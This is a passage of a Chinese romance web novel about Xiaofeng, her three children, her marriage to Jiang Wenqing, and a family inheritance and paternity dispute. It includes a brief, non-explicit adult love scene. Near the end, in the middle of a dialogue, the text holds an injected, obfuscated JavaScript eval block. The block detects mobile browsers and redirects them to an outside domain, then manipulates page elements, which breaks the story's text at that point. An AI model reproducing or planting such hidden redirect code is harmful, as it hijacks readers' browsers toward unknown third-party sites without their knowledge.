文枫单膝跪地,双手比划着一个喇叭的样子,在和宝宝们做着对话…看着这一张张的照片,她泪如雨下。 她想文枫。她更想文清,是他的鼓励,让她顺利生下寻寻觅觅,是他们一起度过了新手爸妈的实习期,以至于产生出老夫老妻般的,眼神就可以交流的默契。 这时晓枫才明白,文枫是她少女时期的玩伴,他们没有烦恼,只有同步的作息,共同的爱好,聊不完的话题,和永远朝气蓬勃的精神状态,因为他们都一样年轻,像烟花一样绚烂的爱情开在最美的时候,也永远停留在最美的时候。 文清则是她女人时期的伴侣,他有着强大的心脏,稳定的情绪。给他的爱不疾不徐,隐忍而浓烈,让她感受到前所未有的安定包容和幸福。 她回到房间,拨通了文清的电话,“你能来看看我吗?我好难受。” ……… “你在发烧,我送你去医院吧?” “文清,我好想你!你别走,你不要再离开我。我想通了,我要我们在一起。” 好久没有体会到男人炽热的怀抱和沉重的鼻息,那一夜,晓枫睡得很沉很沉。 第二天早晨,孩子的哭声将她拉回现实,望着躺在旁边的周洋,她头痛欲裂。 周洋也被孩子的哭声惊醒,他看了一眼晓枫,穿上衣服就去看孩子了。 秦姐没有问过晓枫,周洋先生和她的关系,也没问过孩子们的父亲到底是谁,她只尽心尽力照顾孩子们的衣食住行。对于周洋先生,什么时候会出现在家里,她也不诧异。 这是她被小七推荐过来的原因,该管的管,不该管的坚决不管。 晓枫也是一个好相处的雇主,能自己做的事情自己做,有要做的事情,也是商量着来,不随意指使秦姐,给的工资也是行业高水准的。还会在她放假回家的时候,给她买伴手礼,给她的儿子买衣服和电子设备。 只是今天看到起床的晓枫状态不好,才关心一句,“晓枫,没事吧?哪里不舒服吗?” “没事,秦姐。是谁在哭?” “奥斯卡把卢卡斯的脸抓了一下,才哭。我检查过了,没有印子,指甲刚剪两天。现在没事了,都在吃早餐。我给你们弄点早餐吧?” “不用了,秦姐,我们出去吃。” 奥斯卡和卢卡斯,说什么也要跟着妈妈一起出门,晓枫承诺,一个小时就回来,让他们看着钟,“短针走一圈,妈妈就回来了。” 她和周洋,来到一个便利店,买了三明治、牛奶、咖啡,两人都有点尴尬。 晓枫先开口了,“周洋哥,我们可以结婚吗?” 周洋又犹豫了,他的犹豫在晓枫眼里,又是一次无情的拒绝。 “现在还不成熟,我希望能给你更好的生活。” “嗯!” “晓枫,你吃药吧,昨晚我们没有采取措施。” 晓枫仰起头,阻止眼泪掉下来,“嗯,我去买药。” 便利店就有这种非处方的紧急避孕药卖,“如果昨晚有了孩子,出生的时候就是狮子座,我想就取名叫立欧吧。” 周洋心肝一颤。“开玩笑的,周洋哥,我回去就吃药。刚才牛奶喝完了。” 一个向左,一个向右,各自回家。 2017年1月25日 两个月后,晓枫辞退了秦姐,额外给了她两个月的工资,留了一张手写纸条在家里,带着卢卡斯和奥斯卡走了。 不知哪日,周洋来的时候,发现家里黑漆漆的,才进门看到这张字条。 “周洋哥,从前,我是你的妹妹,后来又是你的女朋友,然后做了文枫的女朋友,现在又是孩子们的妈妈。我从来不知道,我自己是谁,我想去搞明白这个事情。希望你,早日完成自己的目标,找到心之所向,一切都好。” 周洋收起纸条,又回到那个他即抗拒又不得不接受的环境,继续自己的耕耘。 比周洋更早发现这一切的人是文清,她问过小七,小七只回他,你们都放过她吧。 文清知道小七跟晓枫有联系,也只能通过她了解晓枫的情况,一句两句,她好不好?孩子们好不好?都可以,那怕被小七骂一句,男人没一个好东西,他也甘之如饴。 2018年2月7日 “一年多了,我的姜大少爷,这世上是没有女人了吗?” “对不起,你告诉我,晓枫现在在哪里,我就不来打扰你。” 小七从手袋里面翻出一张照片,丢给姜文清,“最近的一张照片,我也很想这个大傻妞,所以打印出来放钱包里面了。你自己去找吧。” 照片中,晓枫站在一个施工工地前面,卢卡斯和奥斯卡分别在她的左右手,应该说,不知道哪个是哥哥哪个是弟弟。 工地是刚开工的样子,没有什么信息,只有承建商,“肃平市第一建设局”。 这是文清的专业领域,几个电话,他就打听到了晓枫的地址,肃平市毛铺镇姜家湾。 姜文清露出了难得的笑容,心里默念,小妖精,跑也跑不出我们“姜家”湾。 姜文清,跟爸爸妈妈说明了情况,“工作的事情,希望爸爸能暂代,任何意外情况,引起的损失,我个人承担。我会把饶晓枫和孩子们带回来,不惜一切代价。” 飞机转出租转客车转摩托车,姜文清在骨头即将散架的时候,来到了姜家湾组长姜志诚的办公室,他掏出照片,礼貌得跟姜组长打听的时候,姜组长连照片都没有看,就说“你是来找晓枫老师的吧?” “是的,饶晓枫。姜组长,她现在在哪里?” 姜组长骑上三轮车带着姜文清回家了,路上跟他聊起来,“你是孩子们的爸爸,是吧?” 姜文清不置可否。 “我看过晓枫老师经常看的一张照片,你和照片上的人很像。你们都是大城市来的,都不是属于我们这里的人。晓枫老师刚来的时候,两个孩子才刚会走路,刚会说话。现在两个孩子什么事都能做,掰玉米棒子,打水,喂猪,晒谷子…晓枫老师就跟孩子们上课,体育,数学,英语什么都会。还给学校建新的教学楼,新的操场。你那张照片,应该是教学楼施工的地方。还有一个小儿子,才半岁,湾子里的人,每家每户都帮她带,特别爱笑,可招人喜欢了。你来,是想把她接回去吗?……” 姜文清出神了,还有一个小儿子,说的是晓枫吗? “组长,如果晓枫在这里,我就留下来陪她。什么时候走,由她决定。只是,如果我短时间走不了,可以给我一个住的地方吗?哪里都行,我不挑。” “住我家里吧,我儿子外出打工了,家里有空的房间。去学校,也近。” 说话功夫,他们就到了学校。 下午五点,如果不是校舍的残破,青砖绿瓦,落日余晖,也是一副绝美的景象。 操场上有几个学龄的孩子在踢球,说是球,其实只是一个饮料瓶盖子。 其中有两个稍小一点的男孩子穿着一样的衣服,文清提高嗓门,喊了一声“卢卡斯,奥斯卡”所有人的目光被吸引过来,卢卡斯和奥斯卡的眼光和文清对上的时候,文清就泪崩了,这就是他的孩子们。 “爸爸”卢卡斯喊了一声,跑过去拉上奥斯卡,“是爸爸。” 两个孩子一起往教学楼一楼的某间教室跑去,他们把一个穿着围裙的女人从教室拖出来,指着文清说,“妈妈,那是不是爸爸?” 晓枫还在围裙上擦着手,心想,无非给你们看看爸爸妈妈的照片,讲讲我们的故事,还把你们整魔怔了。爸爸,哪里来的爸爸? 不,真的是。晓枫杵在那里,眼睛都不敢眨,怕眼前的景象一眨眼就消失不见了。 那个熟悉的身影映入姜文清的眼帘。 那一瞬间,他仿佛被注入了无尽的活力,背上的背包瞬间成了一种累赘。毫不犹豫地,他把背包从肩膀上用力一甩,那背包就像是一个被抛弃的沉重过往,重重地落在地上,扬起一小片尘土。 而他,双腿已经像安装了最迅猛的弹簧一般,朝着那个人儿奔去。 他的眼睛紧紧锁定着目标,每一步都带着一种迫不及待的力量,双脚交替的频率越来越快,几乎化作了一道道虚影。 他的头发被奔跑带起的风吹得向后飞扬,脸上洋溢着无法抑制的狂喜。周围的一切都在他的视野里模糊起来,孩子们的嘈杂声仿佛渐渐远去,他的世界里只剩下那个朝思暮想的人儿。 他的呼吸变得急促而紊乱,但他丝毫不在意,胸膛剧烈地起伏着,像是要把所有的思念和激动都通过这种方式宣泄出来。随着距离的不断拉近,他的眼神中闪烁着激动的泪花,喉咙里似乎被什么东西哽住,想要呼喊却又无法出声,只是不顾一切地向着心中的那片温暖奔去,世间再无美好词语来描述这个画面。 “晓枫老师,立欧回来了。” “晓枫老师,立欧回了。”
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“我们已经浪费了太多时间,现在我只想追回你。” 文清陪着晓枫一起去吃了饭,他回到组长家安顿下来,又回到晓枫的住处,她一个人带着三个孩子住在一间教室改成的房间里面。没有多余的生活用品,一切都是最原始的状态。三个孩子都已经睡了,晓枫示意他们去外面。 她又开始抽烟了,“从加州回来之后,我请了育儿嫂帮我带孩子,秦姐很给力,我才能有时间完成大四的课程,拿了毕业证。你记不记得,我们在加州拍过全家福,两年了,我们都忘了去取照片和相册。相册只能邮寄,电子照片发到邮箱。那天晚上,看过照片之后,我实在太难受了。我不知道怎么形容,像整个人被掏空。我不知道我在发烧,恍恍惚惚,我给你打了电话,让你过来。但是,我拨错了电话,打给了周洋。只是那一次,我就怀上了立欧。我想跟他求婚,被他拒绝了。我就带着三个孩子一起走了。飞机上遇到姜组长的儿子,他把我带来姜家湾,安顿下来。时间越久,我越后悔,好多次,我都想做掉这个孩子,但是每次他都像感应到了一样,在肚子里动一动,孩子是无辜的。月份越大,牵绊越深。等我生下立欧,我觉得我的人生应该就这样了,没有结过婚,却有三个孩子。湾子里面的人,没人嫌弃我,他们很照顾我,我和孩子们都是吃百家饭。” 晓枫准备点第二只烟的时候,文清阻止了她。 “我如果是你,我会转头回去,忘掉这七八年发生的事情,重新来过。” “晓枫,我现在只后悔当初没有更勇敢点。错过一次,我不想再错过第二次。知道为什么小七会告诉我,你的位置吗?一年多,我每周都去找她。我只想让你知道,我的决心。来之前,我给爸爸妈妈的承诺是,追你回去,不惜一切代价。” 说完他抓住晓枫的双肩,“这也是我对你的承诺。我虽然是哥哥,但是,我没有文枫懂得爱,爱就是陪伴。你在姜家湾,我就在姜家湾,你去哪里,我就陪着你,嫁鸡随鸡嫁狗随狗。” 晓枫笑中带泪,“谢谢你,文清。” “嘘,不要说,谢谢。” “我爱你,文清。” “收到,很好听!” 日升日落山海相依,朝云暮雨岁月相期。 从第二天开始,姜家湾多了一个壮劳力,割稻谷,挖红薯,收苞米,挑水… 会做的得做,不会做的从头学。 除此之外,他还得去补救晓枫做的工程。这个傻妞,对工程一窍不通,合同中的主体资质审查,公司约定,验收程序,支付方式,变更条款,违约责任,条条款款都是雷点。 胜在姜家在这个行业人脉广泛,合同变更和工程推进,倒也解决得顺利。 “晓枫,你用的捐赠主体,为什么是周洋?” “当时他走的时候,不是留给我一张银行卡吗?我一直没有查过。回来之后,哪里都要花钱,我就查了账户,居然有200万。”她跟文清小声耳语。 文清调笑他,“你查看过爸爸妈妈给你的卡没有?” 晓枫摇摇头,“很多吗?” “比你想的多。” “那我成小富婆了。” “出去别说是我姜文清的女人,没见过世面。” “你们从来不为钱发愁吗?” “也不是。” “说来听听。” “将来有了,一定告诉你。” 一个教学楼,一个操场,她签了150万,文清来了之后,又加建了一套水源装置,还助养了几个女孩子,用的也是“周洋”的名字。 “你啊,用周洋的名字做捐建,拉自己的老公来出钱出力,你是不是傻啊?” 听到老公这个称呼,晓枫脸一红,“傻的,你还喜欢?” “喜欢,喜欢惨了。” “回去我们就结婚吧!” 文清搂着晓枫的腰身,“一言为定,我们拉勾。” 每晚的夜话,是两个人乡村生活的慰籍。 同龄的孩子,可能在学校学礼仪,去国外研学。卢卡斯和奥斯卡却在养猪,还得意得跟文清炫耀,谁养的猪长得壮。 “爸爸,那只白色的叫大白,是我养的。还有那边,彩色的,迷彩,他特别臭。” “爸爸,你看看我的,这只胖胖的叫球球,还有它,最可爱了,大耳朵福福。” 奥斯卡还贴着耳朵,小声告诉文清,“那一只最丑的,叫卢卡斯。” 文清笑得长出腹肌。 两个孩子长得很像,哥哥卢卡斯文静一些,弟弟奥斯卡比较多话,都是很帅的。 立欧也开始学走路,学说话,学哥哥一样喊爸爸妈妈。他俨然成了两个哥哥的跟屁虫,不管哥哥们让他喂鸡,还是让他剥蒜子,他都开心得不行。 “晓枫,等我们回去就领证结婚,把你和孩子们的户口都解决。爸爸找过周骁,他各种理由拖延。我想,我们要结婚,他应该不会反对的。” “文清,你考虑清楚。我现在的状况,真的合适吗?” “你担心什么?” “爸爸妈妈。” “不会,他们连改口红包都省了,高兴还来不及。” “你好讨厌。我是认真的。妈妈之前跟我说…” “你现在也是妈妈,你能不能理解她为了自己儿子着想的心情?她已经失去了一个儿子,她只是不希望我,作为他们唯一的儿子再受什么委屈。”文清不想等晓枫组织语言。 “现在,你觉得我还是文枫的替身吗?你能理清我们的关系吗?” “不,绝对不是,文清,你就是你。” “既然这样,我没有做文枫的替身,我就没有什么委屈的,她也就没有担心的必要。而且,妈妈很喜欢你,你们都没有婆媳矛盾,聊天一聊一晚上,一聊一晚上,我也是会吃醋的。” “我懂了,谢谢你!”文清狠狠咬了晓枫的嘴唇一下,“我爱你!” “乖!” 两年时间,卢卡斯和奥斯卡快5岁,是上幼儿园大班的年龄,立欧快3岁,是幼儿园入园的年龄。 姜家湾的教学楼和其他工程已经完工,两个人同三个孩子准备回家。 9. 这些你值得拥有 2020年1月22日 到家了。 文清拿着行李,晓枫牵着卢卡斯和奥斯卡,刚走到门前,姜婉就抱住晓枫,“对不起,我们没有照顾好你。” 晓枫也痛哭流涕,“妈妈,对不起。” “喊爷爷奶奶!” “爷爷好,奶奶好!”两个孩子异口同声。 “好好,两个孩子都一样,我要好好看看。”姜恒也语无伦次。 姜文清又返回车上,把还在睡觉的立欧抱下车,晓枫带着歉意说,“是周洋的孩子,立欧,两岁半。” 姜恒又总结陈词般说出了自己的观点“晓枫,你的孩子,就是我们的孙子,都一样,进了这个门,都是姜家的人。” 晓枫泪眼婆娑得望向姜文清,文清给了她一个肯定的眼神。 家里一下多了五个人,甚是热闹。 “爸爸妈妈,对不起。我太自私,我没有想过,那时候你们也失去了儿子,文清也失去了弟弟,我带着孩子就走了。让你们失去了这么多年的相处时光。” 姜婉很想化解两人之前的对话留下的误会,“晓枫,幸好文清没有放弃,把你接回来。我早已经把你当自己的丫头看,以后文清要是惹你生气,妈妈替你收拾他。” “妈妈,文清很好。”晓枫羞着低下头。 “明天,我就去跟周骁联系,晓枫和孩子们户口的事情,优先解决。”姜恒下定决心,这次一定把事儿办了。 “文清,晓枫,你们先把结婚证领了吧,户口落在文清你的那栋别墅上。” “不行,妈妈,那栋别墅,已经卖了。” “为什么?” “没事,我想买新房子做婚房吗?这么大的事,当然要跟老婆商量。”文清抚摸着晓枫的背,晓枫脸更红,头更低了。 “应该的,应该的”,“那就都回到家里吧。”众人达成一致。 晓枫心里还有一个疑惑,没敢说出来。 2020年2月3日 姜家和周家直接约在政务中心门口,姜家到的时候,周家人已经在等待了。 姜家一行七个人,全部出动,姜恒两夫妻想见证儿子媳妇领证,三个孩子要办理户口和身份证的事情,所以都来了。 当周洋看到车上下来三个孩子的时候,有点疑惑。 姜文清抱着立欧,表达了对周家人的感谢。“麻烦你们了,事情有点多,我们已经问过办事流程,上午能办妥。我们中午12点,还在这里见面,好不好?” “可以,我们中午12点再过来。” “谢谢!今天我和晓枫领证。” “这是你和晓枫的孩子?” “嗯,是的。立欧,喊叔叔。” “叔叔好!” 听到这个名字,周洋懵了,晓枫也慌了,赶紧招呼着卢卡斯和奥斯卡,就往办事的地方去。 周洋和周骁去了一家钟表店,看了不一会,周骁就察觉儿子的异样,“饶晓枫回来让你很不自在吗?” “不是,爸爸,我怀疑立欧是我的孩子。” “你说什么?你跟晓枫有过~~” “就一次,没有措施的。” “不会这么巧的。” “爸爸,我有九成的把握。” 周骁也惊了,他们立刻回公司,寻求基金会的帮助,先做亲子鉴定,确认亲子关系之后,要通过法律诉讼拿回抚养权。 基金会管理周仕杰遗产的律师告知他们,在宣读周老先生遗嘱的时候,必须请饶晓枫小姐在场。 周骁给弟弟周勇也去了电话,说明了事情,表达了疑惑,周勇承诺,是时候把他知道的事情全部说出来了。 这边,姜文清,饶晓枫,姜悦寻,姜悦觅迁户口很简单。 麻烦的是立欧,他在农村出生,生产的时候晓枫连医院都没有去,村医接生的。回来之前,姜组长开了一些有效证明。 这些都不是问题,问题是立欧的出生证明资料,填资料的时候,晓枫是担心的,他不知道怎么提出关于立欧姓什么的问题,而姜文清没有给她提问的机会,直接在姓名一栏填“姜立欧”,父亲一栏填“姜文清”,然后把表拿给晓枫看。 “你看这样行不行?” 晓枫点点头,“文清,我爱你。” “收到!” 中午12点,两家再次见面的时候,就已经是周家律师出面,约饶晓枫宣读遗嘱。姜文清请了集团的小林律师,约在第二天上午九点,律师楼详谈。 晓枫也不清楚,到底是什么事情,会跟自己有什么关系。 2020年2月4日 律师办公室。 周骁,樊薇薇,周勇,周洋。 姜恒,姜婉,姜文清,饶晓枫。 周仕杰先生的遗嘱被启用,有两种情况,一种是周洋先生和饶晓枫小姐结婚。 第二种情况是周洋先生和饶晓枫小姐关系破灭(包括官司、事故等),周洋先生决定做亲子鉴定,并通过法律途径取回抚养权就是这种情况。 周洋和饶晓枫被打受伤去医院的时候,周仕杰要求周勇分别给两人做了骨髓捐赠的检查,因为此时的他被诊断出骨髓增生异常综合征,需要通过骨髓移植来治疗。 检测结果,饶晓枫血型匹配,交叉配型无抗体反应,属于部分相合,可以捐赠的状态。 饶晓枫被告知这个结果的时候,毫不犹豫的答应了捐骨髓。 当时的饶晓枫体脂率有点高,周仕杰安排她进啦啦队训练体能,以尽快完成手术。同时周仕杰把周洋送去美国,以免他提出反对意见,影响手术的进程。 自己在完成手术之后去了美国,并谎称只是个肠道小手术。 术前要注射细胞因子,以激活骨髓中的造血干细胞进入外周血,这个阶段晓枫就出现了骨头酸疼的症状,但是她没有放弃。 而在手术中,做穿刺时,注射器始终没有穿透感,一共刺了四针才成功抽取到足量骨髓血。 晓枫在医院休养了几周,留下了穿刺部位酸痛的毛病,不能久坐,不能久站。 骨髓捐赠成功之后,饶晓枫获得遗产20%的继承权。 两年多时间,在美国,周仕杰的病又复发了。 他派人找到了某天在逛商场的饶晓枫,希望再次得到捐赠。此时姜文枫已去世,孩子尚未出生,饶晓枫如实告知实情,直接拒绝捐助。 周勇知道这个事情之后,与父亲长谈,周仕杰决定放弃治疗。 最终遗嘱更改为周骁35%,周勇35%,饶晓枫30%。 如果周洋和饶晓枫结婚,遗产作为夫妻共同财产。如果决裂,归饶晓枫一人所有。 姜文清这才知道,为什么第一次在晓枫家见到她时,她那么憔悴,当时以为是周洋离开留下的心理创伤,原来还有手术造成的生理创伤。 也解释清了,那次在商场买母婴用品时,见到那三个男人的事情。 “那次在咖啡馆遇到的那三个男人,就是为了这个事情。” “嗯,我当时就拒绝了。但是那天晚上,爷爷又来电话,让我放弃孩子,去做手术~~” 晓枫又要哭了,周勇接过话来,“是的,爸爸曾问过我,如果晓枫流产,需要休养多久才能再做捐赠手术,我也拒绝他了,这实在太残忍。” 晓枫靠在文清的怀里,“孩子是文枫唯一留给我的。”呜呜呜呜~~~~ 众人震惊,这是她这么多年从没有跟任何人宣之于口的事情,选择做这些,她都是自愿的,从来没有想过要什么。 稳了稳情绪,饶晓枫把周洋喊到一边。 “周洋哥,你还记得我说过的话,对吗?要不然,你没有理由怀疑立欧的身份。” “嗯,那次你没有吃药?” “没有,我当时想找个救生圈,如果有了你的孩子,跟你结婚也很好。” “有了孩子,为什么不告诉我?” “当我知道怀孕之后,我就不想用他来裹挟你。他是我的孩子,不是工具。” 晓枫抹了抹眼泪,“周洋哥,我问过你,愿不愿意娶我,记得吗?” 周洋头低的更下了。 “你拒绝我了。周洋哥,我以为,你陪我从加州回来,是下定了某种决心的。如果不行,最初开始的时候,你就应该拒绝我。” “我有苦衷的。” “我知道,跟你当初选择离开的时候一样,你有苦衷,你没得选,时机不成熟,我懂。昨天,我跟文清领证结婚了,他对我,对三个孩子都很好,立欧姓姜。我相信我这次的选择,你能祝福我们吗?” “是我不对,能让我,让我爸爸妈妈认回孩子吗?” “周洋哥,我希望你们不要打扰我们的生活。” 说完,晓枫扭头就走了,不远处,文清在等着她,她挽着他的胳膊,一起离开了。 二叔和四叔,也回到家里,这个家里显得有点拥挤。 姜恒给孩子们找了一个15年制的学校,从幼儿园到高中,卢卡斯和奥斯卡进学前大班,立欧进学前小班。但是因为他们没有接受过低年龄段正规的学校教育,所以利用开学前的几个月时间,他们要补课。早晨校车来接,晚上校车送回,毕竟在宁海市考试不考喂猪。 三个孩子在农村摸爬滚打几年,都非常皮实,皮肤是健康的黝黑。 最难搞的就是二叔,他得知文清和晓枫已经领证,老三的生父是周洋之后,暴跳如雷,觉得众人都不可理喻,是被饶晓枫下了蛊。 至从回来,姜文清和饶晓枫一直住在同一个房间里面,在房子的三楼,饶晓枫对于她姜太太的身份是不认同的,因为姜文清一直守身如玉。 他好像很忙,回家就很晚了,有时候,还要去书房继续工作,晓枫给她送牛奶,偶尔听到“赔偿”“股东”…之类的词汇,她也不懂,也不能帮他分担。 这天晚上,晓枫洗完澡在整理衣柜里面的衣服,姜文清正在洗澡,听到他关了水龙头,晓枫来到卫生间门口,待姜文清从卫生间出来的时候,她猛地伸手去扯他的浴袍,他则用手护着。 她扯,他就护着。 来回了几次,晓枫就转身往门口走去,姜文清叫住他,“回来。” 晓枫停住,僵硬得转了个身,顺拐的走到姜文清身边,“干嘛?” 姜文清解开浴袍,做出一个拥抱的手势,晓枫往前一步,钻进文清的浴袍,文清随即用浴袍裹住晓枫,晓枫靠在他的怀里,紧实的胸肌,有力的心跳,她已然沉醉。 姜文清抱起她,轻轻放到床边坐下,解开自己的浴袍,浴袍顺着他的背滑落到地上,晓枫一下子,从头红到脚,想起身离开,正扑到他的怀里。 姜文清双手捧着她的脸,两个人的唇从轻轻相碰,到舌尖探索,到津液拉丝,晓枫腿软了,喘着粗气侧身坐回到床上。 文清,俯下身,半蹲在她的两腿之间,仰头问,“还想不想接吻?” 晓枫点点头,文清直接起身,将她轻轻扑倒,双唇压了上来。 “晓枫,我爱你。” “文清,我爱你,进来吧。” …… “我们再做一次吧!” …… “晓枫,你是我的第一个女人,我还想要你。” …… 第二天早晨,文清下楼端了一份早餐上楼给晓枫,自己再下楼吃早餐。 妈妈问他晓枫怎么没起来,他埋着头,只在喉咙里蹦出几个字—她下不了床。 什么奇怪的语言,一桌子老人家红了脸,只得低头干饭。 文清吃过早餐以后,就去上班了。 晓枫到下午快一点的时候才起来,爸爸妈妈、四叔都午休去了,她自己热了一些饭菜,起身倒水的时候,又被腰背酸痛刺激得浑身酥麻,不禁在心里暗骂姜文清,姜文清在办公室打了个喷嚏。 吃着饭,二叔从外面回来,晓枫跟他打了个招呼,他没理,只径直走过来,把一本杂志摔在晓枫吃饭的餐桌上。封面名为“这个女人凭一己之力,硬控两大家族三个男人—高端的猎手是以猎物的形式出现”配图是晓枫和文清逛街的照片,虽然眼睛打了码,但从衣着很容易看出来就是他俩。 晓枫停下吃饭的动作,如坐针毡,二叔恶狠狠的目光刀在她身上,一站一坐,一动不动。 姜婉从楼上下来,“晓枫,你起来了?吃的什么?” 走近就发现餐桌这边凝固的气氛。她看了一眼桌上的杂志,再放下时,把杂志翻了个面。 笑着说,“晓枫,你跟文清在一起,这就是要承受的压力。怕不怕?” 晓枫不敢做声,她其实更怕二叔。 四叔也走过来凑热闹,姜婉拿起杂志,问他,“这个杂志社,没有打点过吗?” 四叔看看封底,又反过来看看封面,“八卦杂志,没什么真实内容,过两天又有别的话题,不要紧。” “不要紧?舆论场有传言即为真,你们能控制股东会不会相信吗?文清自己的事情,还没有解决…” 姜婉赶忙打了一下二叔的手,示意他不要再说下去。 晓枫知道自己又闯祸了,但是他怎么问文清,文清来来回回,就是“没事”、“问题不大”、“你不用担心”… 2020年4月17日 “Mickey,下午有位,明小七小姐,无论她什么时候来,都请到我的办公室。” “好的,姜总。” 明小七如约在两点半来到姜文清的办公室,“抱歉让你跑过来,实在有点忙。” 还在四处参观的小七,漫不经心答到,“没事,我正好也要约晓枫的,谁知道她找我,你也找我。” 文清有点退缩,“有些事情,不想让她知道,不想让她担心,但是又怕她多心,所以只能麻烦你,她会跟你说心里话。” “姜文清,你找我就对了。如果不是我,你现在还在找他,但是也是你坚持,一年,真的被你烦的不要不要的。” 看完装修摆设,小七走到办公桌旁坐下,拿出手机,“你自己看吧。” 录视频的手机应该就在桌子上,镜头朝上,镜头里面是仰拍的晓枫的脸和餐厅的天花板。 晓枫摘下口罩,坐下来,四处望了望。 “晓枫,我们俩像不像在偷情?” 晓枫一下被小七逗乐了,“是我太敏感了。” “放松点,没事。” “杂志你看了吗?” “看了,你自己是当事人,里面内容几分真,几分假,你不知道?” “我知道,但是别人不知道。” “你还在意谁的感受?” “不是,…”晓枫又开始用手指头在桌上轻轻的敲着,她在紧张,需要组织语言的时候,就会不自觉做出这个动作。 “我是怕影响文清。” “他们大家大业,这些很正常。” “正常吗?” “欲戴皇冠,必承其重。” “我觉得是对他们已经产生影响了,但是谁都不肯跟我说。” “怕你担心,不是。” “我不知道,我能做什么。” “什么都别做。晓枫,文清是个什么样的人?”晓枫脸一红,低头不说话。 “你觉得他是个能干的人吗?” “嗯。” “那你不用担心,他能应付。”晓枫喝了一口咖啡,仍低着头。 “大傻妞,想他了?”小七接着说,“这一年多,姜文清,每周都来找我,店里的店长都以为他是来追我的。有时候,我把他骂的狗血淋头,以为他会放弃,他还是来。晓枫,我也不是铁石心肠。但是,你知道吗?周洋,他一个电话都没有来过。” 听到这个名字,晓枫抬起了头。 “所以这次我没有选错。” “当然了,晓枫。” “我只是不希望我的出现又给他添麻烦。” “他来找我,他去找你之前,他会考虑到这些的,是不是?” “但是如果代价太大,我怕他压力太大,怕他太辛苦。” “这是心疼了,你俩这还怎么离得开彼此。” “他真的很好。” “是你好,晓枫,这些你值得拥有。” 晓枫又喝了一口咖啡,“嗯,我懂。” “人啊,总是对自己不熟悉的生活充满窥探欲,他们会想有钱人是不是不用睡觉,是不是不用上厕所,都凭借自己的意淫去圆满他们想象的故事。被他们的想象所影响才是最傻的。” “所以我只需要支持鼓励他,让他安心就好。” “对了,你这么乖,高中的时候把你扑倒就好了,现在就没姜文清什么事了。” “我知道你不喜欢,我这样的。你喜欢那种那种。”边说边在自己胸前比划着。 小七笑着说,“你还真懂我,你无法想象双手被填满的那种爽感。” “你别说了,好恶心。不,不是,小七,我不是说你恶心。” “我懂,不用解释。对于我们,不理解是常态,你看,除了你,我哪里还有朋友,也就你不歧视我们这样的人。” “小七,追求爱的人都没有错。我原来上课常看的那些希腊神话,好多都是同□□情。物质精神越丰富,越没有生存繁衍的焦虑,越是敢于去追求真爱。我想,大家歧视或者鄙夷的是,不纯粹,就是那些乱搞关系的。” “啧啧啧,你越说我越心动,要不然,我俩试试~~~” 说着伸手过来抓晓枫的手晓枫没有抽手,“小七,谢谢你。” “不用。”小七主动收回手,饶有兴趣的问,“你说高中看的书,是上课看的吗?” “是啊,被单老师收了不知道多少。” “她那么凶,你敢在她的课上看书?胆挺肥。” “她眼神不好,总把我和另一个女生认错,其他老师都不会,而且我俩完全不像。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033216|162346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “所以,把你的书收了,课后喊她去办公室挨训,扣她的操行分数,是吧?”晓枫哈哈大笑,“就算她知道搞错了,也会不了了之,因为太好笑了。” “可惜了,没跟你在一个班上,要不然,我肯定更早爱上你,你太可爱了。”~~~~~~ 看完视频,姜文清挤出一句话,“真的假的??” “当然是真的,完整的视频,我没有剪辑过。” “我是问你说的话。” “什么话?” “追求晓枫。” 小七哭笑不得,“姜文清,你搞不搞得清重点?给你看视频,是解决你们之间的问题。” 姜文清想的是,如果小七来真的,他不光要防着男人,还要防着女人,挺忙。 他一阵脸红,“我懂了,把视频传给我吧。” “姜文清,我只能帮你们到这里了。以前,如果有得罪的地方,希望你不要介意。以后,也希望你不要阻止我和晓枫的交往,她说的没错,我确实不喜欢她那种什么都没有的身材。就是好哥们,好姐们,晓枫她很单纯,很善良,好好珍惜她。” 姜文清红着脸点了点头,他想到了她的晓枫,小小的,软软的,香香的…… 生活还在继续,姜文清还在忙着他的工作,饶晓枫把以前姜文枫相机里面的照片,篮球队啦啦队的照片,全家福照片,家里监控的视频都整理了下,时不时会看看,只是现在看的时候,更多是甜蜜的回忆。 2020年6月30日 三个孩子入学前的预备课程已经上完,暑假期间,他们俩带着孩子去选了些兴趣班。 卢卡斯和奥斯卡选的篮球,立欧选择的街舞。 在餐桌上,奥斯卡表达了自己的志向,“我看过枫爸爸打篮球的视频,他好帅,我想像他一样。” “爸爸在后院跟你们装个合适的篮球架,你们兄弟俩就可以在家里多练习,将来可以超越枫爸爸。”卢卡斯点头,“可以。” 酷酷的表情像极了姜文枫。 问了立欧选择街舞的原因,他说,“我看过爷爷奶奶跳舞,好好看。” 姜恒说,“爷爷奶奶跳不动了,你学跳舞回来,可以跟你四爷爷切磋。” “四爷爷也会跳舞吗?” “小伙子,你小瞧我,是不是?要不要我跟你展示一段?” “那我要跟四爷爷学跳舞。”立欧兴奋得叫着,家里充满了欢声笑语。 回来以后,晓枫没有再碰过摩托车,她觉得现在她不再是一个人,有老公,有三个孩子,她需要为了他们而好好保护自己。 2020年7月23日 周洋来找晓枫,说立欧可能要过生日了,他送礼物过来。 晓枫抱着沉甸甸的盒子,问他,“这是什么东西?” “生肖金砖。” 晓枫是觉得好气又好笑,你说他不用心吧,他还知道七月底就进狮子座了。 你说他用心吧,甚至连礼物都不费心去选。 当然了,他并不知道孩子缺什么或者喜欢什么,或者说,立欧不缺什么,想要什么喜欢什么,姜文清都会满足。 “周洋,立欧的生日是8月4号,记住了。谢谢你!” “不用谢,我应该谢谢你们。” “都不用客气了,还有什么事吗?” “我想问问,能不能让爸爸妈妈见见立欧,8月4号,陪他过生日,就一天。” “我要跟文清商量一下,你等我电话吧。” 2020年7月26日 这天下午,卢卡斯和奥斯卡在后院单对单,晓枫和立欧,在看绘本漫画。 二叔突然从楼上下来,“老四呢?” 姜恒说,“出去了。” 